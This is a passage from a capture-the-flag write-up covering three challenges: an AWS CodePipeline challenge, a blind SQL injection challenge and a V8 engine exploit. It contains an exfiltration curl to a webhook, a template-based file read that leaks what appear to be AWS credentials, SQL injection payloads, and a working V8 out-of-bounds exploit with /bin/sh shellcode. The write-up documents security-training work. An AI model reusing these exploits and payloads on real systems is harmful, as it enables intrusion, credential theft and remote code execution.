{
"name": "source_output"
}
],
"inputArtifacts": []
}
]
},
{
"name": "Build",
"actions": [
{
"name": "TerraformPlan",
"actionTypeId": {
"category": "Build",
"owner": "AWS",
"provider": "CodeBuild",
"version": "1"
},
"runOrder": 1,
"configuration": {
"ProjectName": "devsecmeow-build"
},
"outputArtifacts": [
{
"name": "build_output"
}
],
"inputArtifacts": [
{
"name": "source_output"
}
]
}
]
},
{
"name": "Approval",
"actions": [
{
"name": "Approval",
"actionTypeId": {
"category": "Approval",
"owner": "AWS",
"provider": "Manual",
"version": "1"
},
"runOrder": 1,
"configuration": {},
"outputArtifacts": [],
"inputArtifacts": []
}
]
}
],
"version": 1
},
"metadata": {
"pipelineArn": "arn:aws:codepipeline:ap-southeast-1:232705437403:devsecmeow-pipeline",
"created": "2023-07-21T16:05:14.065000+01:00",
"updated": "2023-07-21T16:05:14.065000+01:00"
}
}
The first stage accesses a file called rawr.zip from the S3 bucket devsecmeow2023zip and unzips it. The second stage runs the CodeBuild project devsecmeow-build, and the action named TerraformPlan further suggests something to do with Terraform.
Get the list of EventBridge events:
aws events list-rules
{
"Rules": [
{
"Name": "cleaner_invocation_rule",
"Arn": "arn:aws:events:ap-southeast-1:232705437403:rule/cleaner_invocation_rule",
"State": "ENABLED",
"Description": "Scheduled resource cleaning",
"ScheduleExpression": "rate(15 minutes)",
"EventBusName": "default"
},
{
"Name": "codepipeline-trigger-rule",
"Arn": "arn:aws:events:ap-southeast-1:232705437403:rule/codepipeline-trigger-rule",
"EventPattern": "{\"detail\":{\"eventName\":[\"PutObject\",\"CompleteMultipartUpload\",\"CopyObject\"],\"eventSource\":[\"s3.amazonaws.com\"],\"requestParameters\":{\"bucketName\":[\"devsecmeow2023zip\"],\"key\":[\"rawr.zip\"]}},\"detail-type\":[\"AWS API Call via CloudTrail\"],\"source\":[\"aws.s3\"]}",
"State": "ENABLED",
"Description": "Amazon CloudWatch Events rule to automatically start your pipeline when a change occurs in the Amazon S3 object key or S3 folder. Deleting this may prevent changes from being detected in that pipeline. Read more: http://docs.aws.amazon.com/codepipeline/latest/userguide/pipelines-about-starting.html",
"EventBusName": "default"
}
]
}
The rule called codepipeline-trigger-rule might be of interest. Decoding the EventPattern field to plaintext gives
{
"detail": {
"eventName": [
"PutObject",
"CompleteMultipartUpload",
"CopyObject"
],
"eventSource": [
"s3.amazonaws.com"
],
"requestParameters": {
"bucketName": [
"devsecmeow2023zip"
],
"key": [
"rawr.zip"
]
}
},
"detail-type": [
"AWS API Call via CloudTrail"
],
"source": [
"aws.s3"
]
}
This rule is triggered by PutObject, etc., to the rawr.zip object in S3. This suggests that the pipeline may be triggered by uploading the file rawr.zip to devsecmeow2023zip, which the current user has permissions to do.
We can try to run a shell script with Terraform as supposed previously, with main.tf as follows:
data "external" "run" {
program = ["/usr/bin/env", "bash", "run.sh"]
}
In order to exfiltrate data, we can get the shell script to make a request over the internet. For instance, obtain an API endpoint from https://webhook.site/, and construct a shell script as follows:
#!/usr/bin/env bash curl -X POST --data "flag1=$(echo $flag1 2>&1)" webhook_endpoint
This pipes stderr to stdout because only stdout from the subshell will be included in the request.
We need to add both files to rawr.zip, and upload it to S3:
aws s3api put-object --bucket devsecmeow2023zip --key 'rawr.zip' --body rawr.zip
then wait at the endpoint for the request. This works, and gets us the first half of the flag.
We can now execute arbitrary shell scripts on the devsecmeow-build instance. From aws codebuild batch-get-projects --names devsecmeow-build, we saw that the this runner has the role codebuild-role.
Enumerating the permissions of this role as before (using the original temporary credentials), we get
- for the KMS key /6b677475-cc95-4f85-8baa-2f30290cde9d:
kms re-encrypt*kms generate-data-key*kms encryptkms describe-keykms decrypt
ssn get-parametersfor the parameter /devsecmeow/build/passwordec2 describe-instance*- for the S3 bucket devsecmeow2023zip and its objects devsecmeow2023zip/devsecmeow-pipeline/*:
s3api put-objects3api get-object-versions3api get-objects3api get-bucket-acl
- logging permissions
Again, we need to try all these commands, each time by editing the shell script in rawr.zip and re-uploading it.
At this point, recall that the original website mentioned production access. One of the roles listed previously is called ec2_production_instance_role, with a corresponding policy called iam_policy_for_ec2_production_role. We should enumrate the policies of the role, and then enumerate the permissions of the policies. When we do this, there is a single permission for aws get-object to a file called index.html in the S3 bucket devsecmeow2023flag2. Even more interesting.
Using the devsecmeow-build runner, the command
aws ec2 describe-instance-status
shows that there are two EC2 instances running with the following ids:
- i-02423bae26b4cfd9a
- i-02602bf0cf92a4ee1
Get their details:
aws ec2 describe-instances --instance-ids instance_id
Each of these produces a large JSON response. Of these, i-02602bf0cf92a4ee1 contains a profile called ec2_production which may be related to the ec2_production_instance_role we were interested in. We can also see that its IP is 54.255.155.134. However, attempting to access this through HTTP does not work, and attempting HTTPS gives 403 Forbidden. A port scan also revealed no other open ports.
Eventually we get to this command:
aws describe-instance-attribute --instance-id i-02602bf0cf92a4ee1 --attribute userData
This returns a JSON containing a large chunk of data in the field UserData.Value. If we decode this with base64, we get a shell script that appears to have been used to configure the entire server. It includes verbatim the config file for Nginx, which shows that the / route on port 443 returns 403 if $ssl_client_verify != SUCCESS. This suggests that mutual TLS is needed for this server as well.
Helpfully, the shell script also includes the contents of /etc/nginx/ca.crt and /etc/nginx/ca.key, which are exactly what is needed for signing a client’s CSR as the server’s CA:
openssl x509 -req -in client.csr -CA ca.crt -CAkey ca.key -CAcreateserial -out client.54.255.155.134.crt -days 1000000
wget --certificate client.flag.crt --private-key client.key --no-check-certificate https://54.255.155.134/ -O index.html
The file index.html contains the second part of the flag. Concatenating both parts gives the final solution.
8. Blind SQL Injection
The website in question displays a login form:
Fortunately, the provided db-init.sql file gives us two sets of credentials that the database seems to have been initialised with:
| Username | Password |
|---|---|
| bobby | password |
| admin | TISC{n0t_th3_fl4g} |
The admin username does not work, and results in an error message that says Blacklisted. Its password is also not the flag (of course I tried submitting it).
The bobby username works, and we can use it to start exploring the website. We quickly find that it is indeed horribly made, and in fact we did not need the usernames and passwords at all. We could have gone directly to http://chals.tisc23.ctf.sg:28471/reminder, which is completely unauthenticated and stateless, and simply takes any username from its GET parameter username.
The "Create reminder" button leads to http://chals.tisc23.ctf.sg:28471/api/submit-reminder, which is also stateless and unauthenticated, and simply regurgitates the username and reminder parameters sent in its POST request. However, the request also contains a third parameter called viewType, set to remind-basic.pug, which could be interesting.
Returning to the other provided files, the Dockerfile suggests that the server is running on Node.js with MySQL as the database. The file server.js serves as the server’s entrypoint. There is also a db.js that has not been provided, presumably used for a database connection to MySQL. The server also uses AWS in some way.
Looking in server.js, we see that stateless design philosophy applies to the entire website. It uses Express to handle server endpoints, as well as Pug for templating:
var pug = require('pug')
app.set('view engine', 'pug');
Calling back to the viewType parameter above, remind-basic.pug is probably a template file. Looking at the handler for POST /api/submit-reminder, it takes the parameter value and uses it directly as the template file:
app.post('/api/submit-reminder', (req, res) => {
const username = req.body.username;
const reminder = req.body.reminder;
const viewType = req.body.viewType;
res.send(pug.renderFile(viewType, { username, reminder }));
});
This is exciting, because it means we might be able to direct the server to read arbitrary files.
Meanwhile, the bulk of the logic is in the POST /api/login handler, which is called by the initial login page. Here we find a comment with a reference to a blacklist, relating to the earlier error message. The handler invokes an AWS Lambda function called craft_query to determine if the username and password should be blacklisted; a query to the database is made only if they are not, so we cannot perform SQL injection directly with the login form.
Experimenting with the login form, the blacklist appears to be character-based. To determine which characters are blacklisted, we could write a simple Python script to try them against the server. After trying the first few Unicode blocks, I found that the only allowed characters are uppercase and lowercase English letters, and the null character (U+0000).
It was possible that some higher codepoints that were not tried would be allowed, but this would eventually be proven to not be the case. I also found that any characters that occur after a null character would not be checked by the blacklist, which was exciting until I realised that it was because they would not be considered a part of the string and were being silently stripped before it reaches MySQL.
At this point we return to viewType, and potentially reading files off the server with POST /api/submit-reminder. We first try replacing remind-basic.pug with the other template files mentioned in server.js. Using reminder.pug from the GET /reminder endpoint, we get a response as if we had gone directly to http://chals.tisc23.ctf.sg:28471/reminder. If we try login.pug from the GET /remind endpoint, we get an error:
TypeError: login.pug:11
9| .container
10| h2 Reminder App
> 11| if messages.error
12| p(style="color:red") #{messages.error}
13| if messages.success
14| p(style="color:green") #{messages.success}
Cannot read property 'error' of undefined
at eval (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), :32:14)
at template (eval at wrap (/app/node_modules/pug-runtime/wrap.js:6:10), :74:7)
at Object.exports.renderFile (/app/node_modules/pug/lib/index.js:454:38)
at /app/server.js:76:16
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at next (/app/node_modules/express/lib/router/route.js:144:13)
at Route.dispatch (/app/node_modules/express/lib/router/route.js:114:3)
at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5)
at /app/node_modules/express/lib/router/index.js:284:15
at Function.process_params (/app/node_modules/express/lib/router/index.js:346:12)
This tells us the working directory of the Node.js server, which we did not ultimately need to know. But this also printed out a few lines of the contents of login.pug which is quite useful.
We can try this trick with the missing db.js file, giving
Error: /app/db.js:4:9
2|
3| const connection = mysql.createConnection({
> 4| host: "127.0.0.1",
---------------^
5| user: "root",
6| password: "groot",
7| database: "database",
unexpected text ""127."
at makeError (/app/node_modules/pug-error/index.js:34:13)
at Lexer.error (/app/node_modules/pug-lexer/index.js:62:15)
at Lexer.fail (/app/node_modules/pug-lexer/index.js:1629:10)
at Lexer.advance (/app/node_modules/pug-lexer/index.js:1694:12)
at Lexer.callLexerFunction (/app/node_modules/pug-lexer/index.js:1647:23)
at Lexer.getTokens (/app/node_modules/pug-lexer/index.js:1706:12)
at lex (/app/node_modules/pug-lexer/index.js:12:42)
at Object.lex (/app/node_modules/pug/lib/index.js:104:9)
at Function.loadString [as string] (/app/node_modules/pug-load/index.js:53:24)
at compileBody (/app/node_modules/pug/lib/index.js:82:18)
These database credentials seem promising, but ultimately we also did not need this information.
Eventually, I managed to remember that the server is invoking an AWS Lambda. We can try obtaining their AWS credentials from the files /root/.aws/config and /root/.aws/credentials. Swapping these in in turn gives
Error: /root/.aws/config:1:1 > 1| [default] -------^ 2| region = ap-southeast-1 3| unexpected text "[defa" at makeError (/app/node_modules/pug-error/index.js:34:13) at Lexer.error (/app/node_modules/pug-lexer/index.js:62:15) at Lexer.fail (/app/node_modules/pug-lexer/index.js:1629:10) at Lexer.advance (/app/node_modules/pug-lexer/index.js:1694:12) at Lexer.callLexerFunction (/app/node_modules/pug-lexer/index.js:1647:23) at Lexer.getTokens (/app/node_modules/pug-lexer/index.js:1706:12) at lex (/app/node_modules/pug-lexer/index.js:12:42) at Object.lex (/app/node_modules/pug/lib/index.js:104:9) at Function.loadString [as string] (/app/node_modules/pug-load/index.js:53:24) at compileBody (/app/node_modules/pug/lib/index.js:82:18)
and
Error: /root/.aws/credentials:1:1 > 1| [default] -------^ 2| aws_access_key_id = AKIAQYDFBGMSQ542KJ5Z 3| aws_secret_access_key = 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 unexpected text "[defa" at makeError (/app/node_modules/pug-error/index.js:34:13) at Lexer.error (/app/node_modules/pug-lexer/index.js:62:15) at Lexer.fail (/app/node_modules/pug-lexer/index.js:1629:10) at Lexer.advance (/app/node_modules/pug-lexer/index.js:1694:12) at Lexer.callLexerFunction (/app/node_modules/pug-lexer/index.js:1647:23) at Lexer.getTokens (/app/node_modules/pug-lexer/index.js:1706:12) at lex (/app/node_modules/pug-lexer/index.js:12:42) at Object.lex (/app/node_modules/pug/lib/index.js:104:9) at Function.loadString [as string] (/app/node_modules/pug-load/index.js:53:24) at compileBody (/app/node_modules/pug/lib/index.js:82:18)
This gives us enough information to access their AWS account:
aws sts get-caller-identify
aws lambda get-function --function-name craft_query
The second command gives us a really long URL from which we can download the source code associated with the Lambda function craft_query, which turns out to contain WebAssembly.
The downloaded zip archive contains
- .gitkeep
- index.js
- site.js
- site.wasm
The main file of interest is probably site.wasm, and the JavaScript files appear to just be some wrappers. We can disassemble the binary site.wasm into text format (with file extension .wat instead) using an online tool. There is some useful documentation about WebAssembly on MDN, and this is also useful reference.
To understand what the function does, we can directly invoke the Lambda. Construct a JSON payload containing the username and password fields, and base64 encode it, then
aws lambda invoke --function-name craft_query --payload base64_payload output_file
Given the payload
{
"username": "hi",
"password": "bye"
}
we get the output
"SELECT * from Users WHERE username=\"hi\" AND password=\"bye\""
The Lambda craft_query crafts the (SQL) query. On the other hand, if we used a blacklisted character, the output is
"Blacklisted!"
This matches the behaviour expected by server.js.
Digging into the disassembled code, there is a function called $is_blacklisted, which calls the function $f7, which calls $f10:
(func $f10 (type $t2) (param $p0 i32) (result i32)
(i32.lt_u
(i32.add
(i32.or
(local.get $p0)
(i32.const 32))
(i32.const -97))
(i32.const 26)))
This function checks a character against a subset of the blacklist using some fancy bit manipulation. It takes a single 32-bit integer (i32) representing the character as its argument and returns 1 if it is allowed, or 0 otherwise. However, it also allows characters that we know are blocked, so there must be additional blacklisting logic elsewhere.
The function $f7 takes an i32 which is a pointer to a char array. It loops through the array and applies $f10 repeatedly until it encounters a null character, at which point it returns 1. However, if $f10 returns 0 before that, then 0 is returned.
Finally, $is_blacklisted takes two i32 pointers to char arrays, and checks them both against $f7. It then calls $load_query only if both checks pass. However, delving further into $load_query quickly proved intractable.
On the other hand, it is not immediately obvious where $is_blacklisted is called from. Searching through the source code, there is a table declared for storing function references:
(table $__indirect_function_table (export "__indirect_function_table") 6 6 funcref)
The table has size 6, and its elements are defined such that $is_blacklisted is stored at index 1, $load_query at index 2, etc.:
(elem $e0 (i32.const 1) func $is_blacklisted $load_query $f40 $f41 $f44)
Looking at the JavaScript entrypoint index.js, it appears to first call into the WebAssembly function $craft_query with two string arguments for the username and password. These appear as i32 pointers in WebAssembly.
The function $craft_query allocates 160 bytes of memory (pointed to by the global variable $g0), including a block of 59 bytes and another of 68 bytes that are probably used as character buffers. It then calls $f4 with its first input argument (username from index.js) and a pointer to the 68-byte buffer, followed by calling $f15 with the second argument and a pointer to the 59-byte buffer, as well as the value 59. These functions likely copy the input strings into the respective buffers.
We can test the length of these buffers by entering extra long usernames and passwords into the login form. When we enter a username longer than 67 characters, we get the message Uh oh. Something went wrong. instead of the typical Invalid username/password. This further suggest that the username is stored in the 68-byte buffer (with one byte for the null character). On the other hand, the password field does not appear to have a length limit, which suggests that it might be getting truncated by $f15.
Looking further down the $craft_query function, we find an indirect function call using the table from before:
(local.set $l25
(call_indirect $__indirect_function_table (type $t3)
(local.get $l21)
(local.get $l24)
(local.get $l18)))
Here, $l21 and $l24 are pointers to the username and password buffers respectively, while $l18 is set to 1. This selects the function at index 1 of the function table, which is $is_blacklisted. Interestingly, the value 1 was loaded from the 4 bytes of memory that lie directly after the 68-byte buffer.
(local.set $l18
(i32.load offset=148
(local.get $l4)))
cf. the 68-byte buffer which starts at an offset of 80. This suggests a possible buffer overflow.
If we overwrite the memory at offset 148, we can select a different function to be called. Looking at each of the functions in the table in turn, the only entry with a matching function signature is $load_query. This is also the function that $is_blacklisted calls after its checks; calling this instead would bypass the filter.
I was stuck here for a while, as I believed that I had to write 0x00 0x00 0x00 0x02 at offset 148. This appeared to impossible, because as we saw above, any characters appearing after 0x00 would be silently discarded. After a long while I realised that simply writing 0x02 is enough, because WebAssembly uses little endian byte ordering.
Thus, we can bypass the blacklist using a username consisting of 68 characters followed by 0x02. We can now try SQL injection by constructing the password with reference to the the output of the Lambda craft_query:
" OR "HI"="HI
This should always return a successful authentication. Now to get the admin password.
In principle, we are able to exfiltrate one bit of information at a time, by distinguishing between a “successful login” and a failed one. However, for simplicity, I decideded to just test every possible ASCII character one by one. We do this by making a request with password set to
" OR SUBSTR(password,{i},1) = "{chr(c)}" AND username="admin
where {i} is the string position (starting from 1) and {chr(c)} is an ASCII character.
After obtaining the first few characters, it appeared that the password itself is the flag, so we could automate the rest of the process, terminating upon encountering the character }.
However, this again gave the wrong flag, which was demoralising until I realised that the string comparisons are case insensitive; we need to set the password to
" OR SUBSTR(password,{i},1) = BINARY "{chr(c)}" AND username="admin
This gave the properly cased flag.
9. PalinChrome
The Dockerfile appears to build V8, Google Chrome’s JavaScript engine, by first checking out a commit with hash 870dcbede8621885bd4f007ca052f95cc62e7cdb and patching it with d9.patch. If we clone the V8 repository, we find that the commit corresponds to version 10.8.168.41, made on 27 July 2023.
Examining the patch file, it appears to add a built-in function Object.leakHole that takes no arguments and returns a value of type Hole. Digging through the V8 source code in the vicinity of the patched areas revealed no additional insights.
If we search online for references to V8 and “Hole”, one of the first results is an article about CVE-2021-38003, which provides some important background information. In particular, the Hole is a special value used internally by V8 to represent the absence of a value, such as in an array that has had some of its elements deleted.
To test this, we need to build V8:
docker build --force-rm -t d9 . -f build.Dockerfile
then run JavaScript in our patched V8 inside the Docker image:
/build/v8/out/release/d8 --allow-natives-syntax javascript_file
Fortunately, we already have the hole value, allowing us to skip the bulk of the article. Unfortunately, once we try to make use of the hole value using their exploit, we find that it no longer works.
let hole = Object.leakHole(); // Get the hole value
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
Trace/breakpoint trap
We can look at the source for the delete method, at TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) in src/builtins/builtins-collections-gen.cc, and see that a check has been added:
// This check breaks a known exploitation technique. See crbug.com/1263462
CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));
Instead, we need to find another way to use the hole value.
Eventually, I found an article in Korean, which was very painful to read (also why I ignored it at first). It offered a method for exploiting the hole value, with code snippets for each step. And unlike many other articles, the code actually seemed to work, even if it meant painstakingly translating the Korean text.
As part of the "Prerequisite Knowledge", here are some non-Korean references about V8:
- pointer compression and small integers
- object layout (
HiddenClasses) - kinds of object
elementsstructures - TurboFan, V8’s JIT compiler
- sea of nodes
- type and range analysis, and bounds-checking elimination
Back to the article, we can substitute in our Object.leakHole function and run it with d8:
const the = {hole: Object.leakHole()};
function test(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr = [1.1, 2.2, 3.3, 4.4];
let p = arr.at(index*4);
return p;
}
for (i = 0; i < 11000; i++) {
test(true);
}
console.log(test(false));
console.log(test(true));
1.1,1.1,2.2,3.3,4.4 1.86587097933286e-310,1.1,2.2,3.3,4.4
We have successfully read outside the bounds of the array.
This works by taking advantage of the type and range analysis phase (OperationTyper) of TurboFan, which is supposed to narrow the possible types that a function or operation is expected to output. In the case of the above, (index | 0) + 1 is supposed to produce either 0 or 1. However, the function in V8 that is responsible for this narrowing (OperationTyper::ToNumber in src/compiler/operation-typer.cc) does not have a check against the Hole type, which results in the compiler optimising to expect only 0. Subsequent optimisation phases thereafter eliminate any bounds checking against the array.
The function leak_stuff from the article makes use of this ability to get the pointers to the properties and elements structures internal to JavaScript objects:
const the = { hole: Object.leakHole() };
var large_arr = new Array(0x10000);
large_arr.fill(itof(0xDEADBEE0n)); // change array type to HOLEY_DOUBLE_ELEMENTS_MAP
function leak_stuff(b) {
if(b) {
let index = Number(b ? the.hole : -1);
index |= 0;
index += 1;
let arr1 = [1.1, 2.2, 3.3, 4.4];
let arr2 = [0x1337, large_arr];
let packed_double_map_and_props = arr1.at(index*4); // arr1 map & props
let packed_double_elements_and_len = arr1.at(index*5); // arr1 elements & len
let packed_map_and_props = arr1.at(index*8); // arr2 map & props
let packed_elements_and_len = arr1.at(index*9); // arr2 elements & len
let fixed_arr_map = arr1.at(index*6); // arr2_elements map(fixed_arr)
let large_arr_addr = arr1.at(index*7); // arr2 elements value
return [
packed_double_map_and_props, packed_double_elements_and_len,
packed_map_and_props, packed_elements_and_len,
fixed_arr_map, large_arr_addr,
arr1, arr2
];
}
return 0;
}
Here, map is another term for the HiddenClass. With some experimentation, we can see that the elements structure of each array is consistently allocated immediately preceding the array’s object structure itself (probably because it has to be allocated before a pointer can point to it), which explains why the map and properties of arr1 can be accessed at index*4, etc. Also, each array element is of a 64-bit double type, whereas each pointer is 32 bits thanks to the pointer compression mentioned above.
In order examine memory addresses and get more information out of the %DebugPrint function, we need to build a debug version of d8, by changing is_debug=false to is_debug=true in the Dockerfile. However, there is a caveat that the debug version makes it much harder to deal with the hole value, probably because some of its additional processing is triggering additional checks; more often than not it will produce
Trace/breakpoint trap
Using the internal pointers, we construct a series of fake objects inside the elements structures of our existing arrays, summarised in the following diagram from the article:
Ultimately, we create fake_arr which resides entirely within the elements structure of large_arr, which we can therefore modify freely by reading and writing 64-bit double values to large_arr. We create some helper functions that demonstrate this ability:
addrof- get the address of an arbitrary object
aar- read from an arbitrary address
aaw- write to an arbitrary address
However, the article that we have been following stops working at this point. What is supposed to happen next is that we construct a function containing an array of 64-bit doubles that are actually encoded instructions that would allow us to drop to shell. We would force the function to be JIT compiled in order to write it to executable memory, then jump to the address of the array contents to execute:
const f = () => {
return [1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284];
}
for (let i = 0; i < 0x10000; i++) { f(); f(); f(); f(); }
let code = aar(addrof(f) + 0x18n) & 0xffffffffn;
let inst = aar(code + 0xcn) + 0x60n;
aaw(code + 0xcn, inst);
f();
Instead, d8 silently exits without anything interesting happening.
We can look at what is going on by starting an interactive session in the debug version of d8. First, run the following as described in the article:
function f() { a = [1.1, 2.2, 3.3]; }
%PrepareFunctionForOptimization(f);
f();
%OptimizeFunctionOnNextCall(f);
f();
%DebugPrint(f);
DebugPrint: 0x2368002550f1: [Function] in OldSpace - map: 0x236800242ac9 <Map[32](HOLEY_ELEMENTS)> [FastProperties] - prototype: 0x2368002429f1 <JSFunction (sfi = 0x23680020aa5d)> - elements: 0x236800002259 <FixedArray[0]> [HOLEY_ELEMENTS] - function prototype: - initial_map: - shared_info: 0x23680025502d <SharedFunctionInfo f> - name: 0x2368000040cd <String[1]: #f> - formal_parameter_count: 0 - kind: NormalFunction - context: 0x2368002423a1 <NativeContext[275]> - code: 0x2368002566dd <CodeDataContainer TURBOFAN> - source code: () { a =[1.1, 2.2, 3.3]; } - properties: 0x236800002259 <FixedArray[0]>
This gives us the address for the function object f (offset by 0x1), as well as the pointer to where its code is located. Now start gdb (handy reference; mirror) and attach it to the running instance of d8, and use it to examine the memory of f:
attach process_id
x/20wx 0x2368002550f1 - 1
0x2368002550f0: 0x00242ac9 0x00002259 0x00002259 0x0025502d
0x236800255100: 0x002423a1 0x002550d9 0x002566dd 0x00002459
0x236800255110: 0x0000269d 0x000040cd 0x000082a0 0x002550f1
0x236800255120: 0x000021e1 0x00007a51 0x00105781 0x00106269
0x236800255130: 0x00000000 0x00000000 0x000023e1 0x00000004
From this, we see that the code pointer is stored at an offset of 24, or 0x18. To find out how this address is entered, we add a watch for its value:
watch $rcx == 0x2368002566dd
c
We continue execution in gdb, then invoke the function f in d8:
f();
The function will execute slowly until the watch is triggered, when the value 0x002566dd is stored in %rcs. We can print the instructions that the program counter is stopped at:
x/2i $pc
=> 0x7ff99f601f50: mov 0xf(%rcx),%rcx 0x7ff99f601f54: jmp *%rcx
This indicates that the address of the function entrypoint is at an offset of 0xf from the code pointer, instead of 0xc used in the article. We can amend the code and try again, but this time a segmentation fault happens:
Received signal 11 <unknown> 000000000000 ==== C stack trace =============================== [0x5648216d34c6] [0x7fbdc150f520] [0x5647a00072e5] [end of stack trace] Segmentation fault
It seems that there is still some offset that is off. Since we have earlier seen that the 0x18 offset correctly corresponds to the code pointer, the only remaining one is 0x60. We need to go back to gdb and look at the address stored at the at the code pointer plus our corrected offset:
x/gx 0x2368002566dd + 0xf
0x2368002566ec: 0x00007ff980004040
Now print the instructions at this address.
x/100i 0x7ff980004040
Looking in the vicinity of offset 0x60 (i.e. address 0x7ff9800040a0), we see this:
0x7ff98000409c: movl $0x6,0x3(%r8) 0x7ff9800040a4: movabs $0x3ff199999999999a,%r10 0x7ff9800040ae: vmovq %r10,%xmm0 0x7ff9800040b3: vmovsd %xmm0,0x7(%r8) 0x7ff9800040b9: movabs $0x400199999999999a,%r10 0x7ff9800040c3: vmovq %r10,%xmm0 0x7ff9800040c8: vmovsd %xmm0,0xf(%r8) 0x7ff9800040ce: movabs $0x400a666666666666,%r10 0x7ff9800040d8: vmovq %r10,%xmm0 0x7ff9800040dd: vmovsd %xmm0,0x17(%r8) 0x7ff9800040e3: lea 0x10(%r9),%r11
The values $0x3ff199999999999a, $0x400199999999999a and $0x400a666666666666 are the 64-bit double representations of the array in our test function, [1.1, 2.2, 3.3]. To show the opcodes at these addresses,
disas/r 0x7ff98000409c,0x7ff9800040e3
Dump of assembler code from 0x7ff98000409c to 0x7ff9800040e3: 0x00007ff98000409c: 41 c7 40 03 06 00 00 00 movl $0x6,0x3(%r8) 0x00007ff9800040a4: 49 ba 9a 99 99 99 99 99 f1 3f movabs $0x3ff199999999999a,%r10 0x00007ff9800040ae: c4 c1 f9 6e c2 vmovq %r10,%xmm0 0x00007ff9800040b3: c4 c1 7b 11 40 07 vmovsd %xmm0,0x7(%r8) 0x00007ff9800040b9: 49 ba 9a 99 99 99 99 99 01 40 movabs $0x400199999999999a,%r10 0x00007ff9800040c3: c4 c1 f9 6e c2 vmovq %r10,%xmm0 0x00007ff9800040c8: c4 c1 7b 11 40 0f vmovsd %xmm0,0xf(%r8) 0x00007ff9800040ce: 49 ba 66 66 66 66 66 66 0a 40 movabs $0x400a666666666666,%r10 0x00007ff9800040d8: c4 c1 f9 6e c2 vmovq %r10,%xmm0 0x00007ff9800040dd: c4 c1 7b 11 40 17 vmovsd %xmm0,0x17(%r8) End of assembler dump.
The value of the 64-bit double begins at address 0x7ff9800040a6, in little endian byte order. If we point the function f to jump to 0x7ff9800040a6 instead of 0x7ff980004040, we can execute whatever opcodes we encode in that array element.
Thus, we need to change the offset from 0x60 to 0x66. But when we try to run it again, it still does not work:
Received signal 11 SEGV_ACCERR 558200007398 ==== C stack trace =============================== [0x5582826db4c6] [0x7f253c169520] [0x558200007366] [end of stack trace] Segmentation fault
I tried to substitute in the array containing the actual payload, but it made no difference. I tried running d8 without debugging mode, but it also made no difference. I suspect the remaining discrepency in our offset is caused by the --allow-natives-syntax flag that we started d8 with. Unfortunately, we need that flag to be on in order to get the address of the function f in the first place.
At this point I ran out of ideas, and simply resorted to trying random nearby offsets. This turned out to be no problem at all, because the correct offset is just 0x61. Once we correct this offset as well, we can run the script in d8 and successfully get shell access.
Now we just have to base64-encode it and send it to the server:
echo base64_code | nc chals.tisc23.ctf.sg 61521
Once we have shell access, cat flag to print the flag.
The payload
This is a tangent about how the array of very special doubles gets interpreted as valid x86 opcodes that gets us shell access.
We have this array:
[
1.9555025752250707e-246,
1.9562205631094693e-246,
1.9711824228871598e-246,
1.9711826272864685e-246,
1.9711829003383248e-246,
1.9710902863710406e-246,
2.6749077589586695e-284,
]
Reinterpreted as integers in hexadecimal (i.e. the raw opcodes):
[
0x682f62696e58eb0c,
0x682f7368005beb0c,
0x48c1e3209090eb0c,
0x4801d8509090eb0c,
0x4889e7909090eb0c,
0x4831c0b03b90eb0c,
0x4831f64831d20f05,
]
Disassembling each element in turn (with this online tool), we get:
0: 68 2f 62 69 6e push 0x6e69622f
5: 58 pop rax
6: eb 0c jmp 0x14
0: 68 2f 73 68 00 push 0x68732f
5: 5b pop rbx
6: eb 0c jmp 0x14
0: 48 c1 e3 20 shl rbx,0x20
4: 90 nop
5: 90 nop
6: eb 0c jmp 0x14
0: 48 01 d8 add rax,rbx
3: 50 push rax
4: 90 nop
5: 90 nop
6: eb 0c jmp 0x14
0: 48 89 e7 mov rdi,rsp
3: 90 nop
4: 90 nop
5: 90 nop
6: eb 0c jmp 0x14
0: 48 31 c0 xor rax,rax
3: b0 3b mov al,0x3b
5: 90 nop
6: eb 0c jmp 0x14
0: 48 31 f6 xor rsi,rsi
3: 48 31 d2 xor rdx,rdx
6: 0f 05 syscall
Note how each chunk of instructions ends with a jump to a relative offset of 0xc. This forces the program counter to skip over the instructions generated by the original function f, and continue executing at the next element in the array.
The first four chunks construct a 64-bit integer by concatenating 0x68732f with 0x6e69622f, and push it onto the stack in little endian byte order. The 8 bytes pushed onto the stack correspond to the character codes for the string "/bin/sh".
The fifth chunk stores the stack pointer (pointing at the above string) in register rdi, while the sixth chunk stores 0x3b in register rax.
In the final chunk, syscall. The type of the syscall is determined by the value in rax, which gives execve. This is called with three arguments in the registers rdi, rsi and rsx (standard Linux calling convention), thus giving
execve("/bin/sh", 0, 0);